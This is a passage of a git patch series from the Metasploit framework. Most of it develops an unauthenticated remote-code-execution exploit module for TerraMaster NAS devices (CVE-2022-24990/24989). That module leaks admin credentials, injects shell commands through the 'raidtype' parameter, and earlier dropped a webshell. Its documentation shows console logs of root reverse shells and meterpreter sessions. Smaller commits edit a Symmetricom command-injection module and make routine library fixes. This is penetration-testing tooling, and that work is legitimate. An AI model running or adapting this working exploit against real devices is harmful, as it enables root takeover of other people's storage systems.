'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29') + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + def exploit + # get the leaked data + get_data + fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? + + res = upload_webshell + fail_with(Failure::UnexpectedReply, 'Web shell upload error.') unless res && (res.code == 200) && res.body.include?('createRaid successful') && res.body.include?('true') + register_file_for_cleanup(@webshell_name.to_s) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end From db8a49cc99fe0fa4cd0cec965ead4f357efebd61 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sat, 10 Jun 2023 12:14:05 +0000 Subject: [PATCH 359/415] Updated documentation --- .../exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md index d805d41a67398..3ed77801ba56f 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -6,6 +6,8 @@ to achieve an unauthenticated RCE by exploiting vulnerable endpoint `api.php?mob admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint`api.php?mobile/createRaid` with `POST` parameters `raidtype` / `diskstring` to upload a webshell and execute remote code as root on TerraMaster NAS devices. +All TerraMaster devices running TerraMaster Operating System (TOS) `4.2.29` or lower are vulnerable. + Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: From 668b72a4cadd35300161cf8cc5b6fd2817c90bf1 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 10 Jun 2023 09:42:58 -0400 Subject: [PATCH 360/415] Rex::Proto::LDAP::Server handle LDAP UnbindRequest --- lib/rex/proto/ldap/server.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index a9712f2113e5b..ba13dd5c9b918 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -182,6 +182,8 @@ def default_dispatch_request(cli, data) else service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end + when Net::LDAP::PDU::UnbindRequest + nil # close client, no response can be sent over unbound comm else service.encode_ldap_response( pdu.message_id, From 7cd385420889d135fc7581d5360287fb94954582 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 12 Jun 2023 13:58:59 +0000 Subject: [PATCH 361/415] Removed Webshell upload and updated documentation --- .../terramaster_unauth_rce_cve_2022_24990.md | 67 +++------------- .../terramaster_unauth_rce_cve_2022_24990.rb | 80 +++---------------- 2 files changed, 22 insertions(+), 125 deletions(-) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md index 3ed77801ba56f..083b0839a91e7 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -4,7 +4,7 @@ This module combines [CVE-2022-24990: Leaking sensitive information](https://cve [CVE-2022-24989: Authenticated remote code execution](https://www.redpacketsecurity.com/terramaster-tos-command-execution-cve-2022-24989/) to achieve an unauthenticated RCE by exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint`api.php?mobile/createRaid` with -`POST` parameters `raidtype` / `diskstring` to upload a webshell and execute remote code as root on TerraMaster NAS devices. +`POST` parameters `raidtype` / `diskstring` to execute remote code as root on TerraMaster NAS devices. All TerraMaster devices running TerraMaster Operating System (TOS) `4.2.29` or lower are vulnerable. @@ -22,22 +22,12 @@ This module has been tested against a TerraMaster `F2-221` Model with the specif 1. `set RPORT ` 1. `set LHOST ` 1. `set LPORT ` -1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>` +1. `set TARGET <0-Unix command or 1-Linux Dropper>` 1. `exploit` 1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings. ## Options - -### WEBSHELL -You can use this option to set the filename and extension (should be .php) of the webshell. -This is handy if you want to test the webshell upload and execution with different file names. -to bypass any security settings on the Web and PHP server. - -### COMMAND -This option provides the user to choose the PHP underlying shell command function to be used for execution. -The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. -This option is only available when the target selected is either Unix Command or Linux Dropper. -For the native PHP target, by default the `eval()` function will be used for native PHP code execution. +No specific options. ## Scenarios @@ -71,9 +61,8 @@ Module reliability: Available targets: Id Name -- ---- - => 0 PHP - 1 Unix Command - 2 Linux Dropper + => 0 Unix Command + 1 Linux Dropper Check supported: Yes @@ -90,14 +79,6 @@ Basic options: TARGETURI / yes Path to Terramaster Web console URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host - WEBSHELL no Web shell name with extension .php. Name will be randomly generated if left unset. - - - When TARGET is not 0: - - Name Current Setting Required Description - ---- --------------- -------- ----------- - COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: @@ -116,8 +97,8 @@ Description: and CVE-2022-24989, "Authenticated remote code execution". Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint - `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to upload a webshell and - execute remote code as root on TerraMaster NAS devices. + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root + on TerraMaster NAS devices. References: https://nvd.nist.gov/vuln/detail/CVE-2022-24990 @@ -130,40 +111,17 @@ References: View the full module info with the info -d command. ``` -### TerraMaster F2-221 TOS 4.2.08 - PHP native `php/meterpreter/reverse_tcp` session +### TerraMaster F2-221 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session ``` msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 0 target => 0 msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit -[*] Started reverse TCP handler on 192.168.10.1:4444 -[*] Running automatic check ("set AutoCheck false" to disable) -[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. -[*] Executing PHP for php/meterpreter/reverse_tcp -[*] Sending stage (39927 bytes) to 127.0.0.1 -[+] Deleted cuckoo.php -[*] Meterpreter session 1 opened (192.168.10.1:4444 -> 192.168.10.2:55766) at 2023-06-10 12:20:10 +0000 - -meterpreter > sysinfo -Computer : TerrorMaster -OS : Linux TerrorMaster 4.13.16 SMP Mon Jun 10 14:20:56 CET 2023 x86_64 -Meterpreter : php/linux -meterpreter > getuid -Server username: root -meterpreter > -``` -### TerraMaster F2-221 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session -``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 -target => 1 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit - [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. [*] Executing Unix Command for cmd/unix/reverse_bash -[+] Deleted cuckoo.php -[*] Command shell session 2 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-10 12:31:22 +0000 +[*] Command shell session 1 opened (192.168.10.1:4444 -> 192.168.10.2:54556) at 2023-06-10 12:31:22 +0000 uname -a Linux TerrorMaster 4.13.16 SMP Mon Jun 10 14:32:13 CET 2023 x86_64 GNU/Linux @@ -172,8 +130,8 @@ uid=0(root) gid=0(root) groups=0(root) ``` ### TerraMaster F2-221 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 2 -target => 2 +msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 +target => 1 msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 @@ -181,8 +139,7 @@ msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit [+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64. [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp [*] Sending stage (3045348 bytes) to 127.0.0.1 -[+] Deleted cuckoo.php -[*] Meterpreter session 3 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-10 12:39:01 +0000 +[*] Meterpreter session 2 opened (192.168.10.1:4444 -> 192.168.10.2:46174) at 2023-06-10 12:39:01 +0000 [*] Command Stager progress - 100.00% done (810/810 bytes) meterpreter > sysinfo diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb index 9aa647d3da3ad..bfb0ac5321be5 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb @@ -25,8 +25,8 @@ def initialize(info = {}) and CVE-2022-24989, "Authenticated remote code execution". Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint - `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to upload a webshell and - execute remote code as root on TerraMaster NAS devices. + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root + on TerraMaster NAS devices. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -43,20 +43,9 @@ def initialize(info = {}) ], 'DisclosureDate' => '2022-03-07', 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Privileged' => true, 'Targets' => [ - [ - 'PHP', - { - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Type' => :php, - 'DefaultOptions' => { - 'PAYLOAD' => 'php/meterpreter/reverse_tcp' - } - } - ], [ 'Unix Command', { @@ -74,7 +63,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, - 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'], + 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } @@ -94,10 +83,7 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']), - OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]), - OptEnum.new('COMMAND', - [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']) ]) end @@ -133,23 +119,12 @@ def tos_encrypt_str(key, str_to_encrypt) return Digest::MD5.hexdigest(id.encode('utf-8')) end - def upload_webshell - # randomize file name if option WEBSHELL is not set - @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s) - - @post_param = Rex::Text.rand_text_alphanumeric(1..8) - @get_param = Rex::Text.rand_text_alphanumeric(1..8) - - # Upload PHP payload using vulnerable endpoint `api.php?mobile/createRaid` + def execute_command(cmd, _opts = {}) + # Execute RCE using vulnerable endpoint `api.php?mobile/createRaid` # CVE-2022-24989 - webshell = if target['Type'] == :php - "echo '' > #{@webshell_name}" - else - "echo '' > #{@webshell_name}" - end diskstring = Rex::Text.rand_text_alpha_upper(4..8) - return send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/createRaid'), 'ctype' => 'application/x-www-form-urlencoded', @@ -157,11 +132,10 @@ def upload_webshell 'User-Agent' => 'TNAS', 'Authorization' => @data['password'], 'Signature' => @data['signature'], - 'Timestamp' => @data['timestamp'], - 'Upgrade-Insecure-Requests' => '1' + 'Timestamp' => @data['timestamp'] }, 'vars_post' => { - 'raidtype' => ';' + webshell.to_s, + 'raidtype' => ';' + cmd, 'diskstring' => diskstring.to_s } }) @@ -195,34 +169,6 @@ def get_terramaster_info end end - def execute_php(cmd, _opts = {}) - payload = Base64.strict_encode64(cmd) - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'module', @webshell_name), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - @post_param => payload - } - }) - end - - def execute_command(cmd, _opts = {}) - payload = Base64.strict_encode64(cmd) - php_cmd_function = datastore['COMMAND'] - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'module', @webshell_name), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_get' => { - @get_param => php_cmd_function - }, - 'vars_post' => { - @post_param => payload - } - }) - end - def check get_terramaster_info return CheckCode::Safe if @terramaster.empty? @@ -239,14 +185,8 @@ def exploit get_data fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? - res = upload_webshell - fail_with(Failure::UnexpectedReply, 'Web shell upload error.') unless res && (res.code == 200) && res.body.include?('createRaid successful') && res.body.include?('true') - register_file_for_cleanup(@webshell_name.to_s) - print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] - when :php - execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper From 4479d9465803ed25fd15f21af7c92b05e753baf3 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 12 Jun 2023 19:28:08 +0000 Subject: [PATCH 362/415] Updates based on review comments from space-r7 and jvoisin --- .../exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md | 2 +- .../linux/http/terramaster_unauth_rce_cve_2022_24990.rb | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md index 083b0839a91e7..e0ebed225db08 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -3,7 +3,7 @@ This module combines [CVE-2022-24990: Leaking sensitive information](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24990) and [CVE-2022-24989: Authenticated remote code execution](https://www.redpacketsecurity.com/terramaster-tos-command-execution-cve-2022-24989/) to achieve an unauthenticated RCE by exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as -admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint`api.php?mobile/createRaid` with +admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpoint `api.php?mobile/createRaid` with `POST` parameters `raidtype` / `diskstring` to execute remote code as root on TerraMaster NAS devices. All TerraMaster devices running TerraMaster Operating System (TOS) `4.2.29` or lower are vulnerable. diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb index bfb0ac5321be5..3ed9a457222fc 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb @@ -181,7 +181,6 @@ def check end def exploit - # get the leaked data get_data fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? From bc2fb0c9195f55a6675974e6529a999443ddf422 Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Mon, 12 Jun 2023 16:31:21 -0400 Subject: [PATCH 363/415] Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb Updated heading Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index f1113b3349886..8d7c8c997b38b 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -1,4 +1,7 @@ - require 'msf/core' +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## class MetasploitModule < Msf::Exploit include Msf::Exploit::EXE From 4e4d09862ec6262c7ae471a87902ece1de58826b Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Mon, 12 Jun 2023 16:32:12 -0400 Subject: [PATCH 364/415] Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb Fixed misspelling Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index 8d7c8c997b38b..00dec5b5b6844 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -14,7 +14,7 @@ def initialize(info = {}) 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. The S100 through S350 (End of Life) models should be vulnerable to unauthenticated exploitation due to a session handling - vulnerabilitiy. Later models require authentication which is not provided in this module because we can't test it. + vulnerability. Later models require authentication which is not provided in this module because we can't test it. The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). Run 'check' first to determine if vulnerable. }, From 5b73c8fea1afad436e015340b8c4b99b8af9a7e4 Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Mon, 12 Jun 2023 16:33:57 -0400 Subject: [PATCH 365/415] Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb Added CVE Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index 00dec5b5b6844..5be35c4dca488 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'Robert Bronstein' # Metasploit Module ], 'References' => [ - ['CVE', 'TBD'], + ['CVE', '2022-40022'], ['URL', 'TBD'] ], 'DisclosureDate' => 'TBD', From ed516faa9356f2ee20d044e900c6540a0157adba Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Mon, 12 Jun 2023 16:34:24 -0400 Subject: [PATCH 366/415] Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb Added link to CVE Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index 5be35c4dca488..c7ad5c943cc1f 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -25,7 +25,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2022-40022'], - ['URL', 'TBD'] + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022'] ], 'DisclosureDate' => 'TBD', 'License' => MSF_LICENSE, From 14dc102e313eaf4df788d9ddf659bb26119db145 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 12 Jun 2023 16:34:28 -0400 Subject: [PATCH 367/415] Bump rex-powershell to 0.1.98 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 90e2c220d2d47..f20e9c243eb9b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -373,7 +373,7 @@ GEM rex-arch rex-ole (0.1.7) rex-text - rex-powershell (0.1.97) + rex-powershell (0.1.98) rex-random_identifier rex-text ruby-rc4 From 96ba121973dc818d3e0ef696cc2e761961008626 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 12 Jun 2023 18:17:41 -0500 Subject: [PATCH 368/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 773e8317896b6..dcf2341072eb1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -104959,7 +104959,7 @@ "Linux", "Mac OS X" ], - "mod_time": "2021-05-20 17:17:17 +0000", + "mod_time": "2023-05-30 12:21:52 +0000", "path": "/modules/exploits/multi/script/web_delivery.rb", "is_install_path": true, "ref_name": "multi/script/web_delivery", @@ -104967,6 +104967,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ] }, "session_types": false, "needs_cleanup": null From 0761f8f7295d8519723e7dd9ebb55321b7bf807c Mon Sep 17 00:00:00 2001 From: shellchocolat Date: Tue, 13 Jun 2023 06:55:16 +0200 Subject: [PATCH 369/415] [+] add masm output support --- lib/msf/base/simple/buffer.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index f3bcd8deee8c7..55aff6b5e19a8 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -103,6 +103,8 @@ def self.comment(buf, fmt = "ruby") buf = Rex::Text.to_psh_comment(buf) when 'go','golang' buf = Rex::Text.to_golang_comment(buf) + when 'masm','ml64' + buf = Rex::Text.to_masm_comment(buf) when 'nim','nimlang' buf = Rex::Text.to_nim_comment(buf) when 'rust', 'rustlang' From 8d1e7a386c018f5428762f9ab3c98846acadfc1c Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 13 Jun 2023 15:58:30 +1000 Subject: [PATCH 370/415] Rubocop and code review suggestions --- lib/msf/core/post/windows/version.rb | 61 +++++++++++++++------------- 1 file changed, 32 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index d88c6793a13b0..f25a3cfe3bc34 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -1,7 +1,10 @@ # -*- coding: binary -*- module Msf::Post::Windows::Version -include Msf::Post::Windows::Registry + include Msf::Post::Windows::Registry + + class Error < RuntimeError + end def initialize(info = {}) super( @@ -22,23 +25,22 @@ def get_version_info result = get_version_info_impl if result.nil? print_error("Couldn't retrieve the target's build number!") - raise RuntimeError.new("Couldn't retrieve the target's build number!") + raise Error, "Couldn't retrieve the target's build number!" end result end def get_version_info_fallback_impl - build_num_raw = cmd_exec('ver') - groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(\.(\d+))?/) - if groups.nil? - return nil - end + build_num_raw = cmd_exec('ver') + groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(?:\.(\d+))?/) + if groups.nil? + return nil + end - major, minor, build, unused, revision = groups.captures - revision = 0 if revision.nil? - # Default to workstation, since it'll likely be an older OS - pre Server editions - return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) + major, minor, build, _revision = groups.captures + # Default to workstation, since it'll likely be an older OS - pre Server editions + return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) end def get_version_info_impl @@ -73,24 +75,24 @@ def get_version_info_impl major, minor = version_match.captures major = major.to_i minor = minor.to_i - + product = shell_registry_getvaldata('HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions', 'ProductType', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) case product - when /WinNT/ + when 'WinNT' product_type = Msf::WindowsVersion::VER_NT_WORKSTATION - when /LanmanNT/ + when 'LanmanNT' product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER - when /ServerNT/ + when 'ServerNT' product_type = Msf::WindowsVersion::VER_NT_SERVER else product_type = Msf::WindowsVersion::VER_NT_WORKSTATION end - if major == 6 and minor == 3 and build_num > 9600 # 9600 is Windows 8.1 build number + if (major == 6) && (minor == 3) && (build_num > 9600) # 9600 is Windows 8.1 build number # This is Windows 10+ - the version numbering is calculated differently major = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) minor = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) - if major.nil? or minor.nil? + if major.nil? || minor.nil? return get_version_info_fallback_impl end @@ -98,7 +100,7 @@ def get_version_info_impl else # Pre-Windows 10 service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) - if service_pack_raw.nil? and major >= 6 + if service_pack_raw.nil? && (major >= 6) # Some older versions didn't put the Service Pack value in both 32 and 64-bit versions of the registry - look there specifically service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_32_BIT) end @@ -118,17 +120,18 @@ def get_version_info_impl private def empty_os_version_info_ex - result = [0, - 0, - 0, - 0, - 0, - "", - 0, - 0, - 0, - 0, - 0 + [ + 0, + 0, + 0, + 0, + 0, + '', + 0, + 0, + 0, + 0, + 0 ] end From 7fe6b8f4817e6d6520c85831c781bc1fae231c86 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Tue, 13 Jun 2023 09:14:06 +0100 Subject: [PATCH 371/415] Update the exported keytab table entries to sort by db insert id --- modules/auxiliary/admin/kerberos/keytab.rb | 52 +++++++++++-------- .../auxiliary/admin/kerberos/keytab_spec.rb | 2 +- 2 files changed, 30 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/admin/kerberos/keytab.rb b/modules/auxiliary/admin/kerberos/keytab.rb index 2658866ed13b8..ca9cb32933c8f 100644 --- a/modules/auxiliary/admin/kerberos/keytab.rb +++ b/modules/auxiliary/admin/kerberos/keytab.rb @@ -89,43 +89,49 @@ def export_keytab_entries # Kerberos encryption keys, most likely extracted from running secrets dump kerberos_key_creds = framework.db.creds(type: 'Metasploit::Credential::KrbEncKey') keytab_entries = kerberos_key_creds.map do |cred| - { - realm: cred.realm.value, - components: cred.public.username.split('/'), - name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, - timestamp: Time.at(0).utc, - vno8: datastore['KVNO'], - vno: datastore['KVNO'], - keyblock: { - enctype: cred.private.enctype, - data: cred.private.key + [ + cred.id, + { + realm: cred.realm.value, + components: cred.public.username.split('/'), + name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, + timestamp: 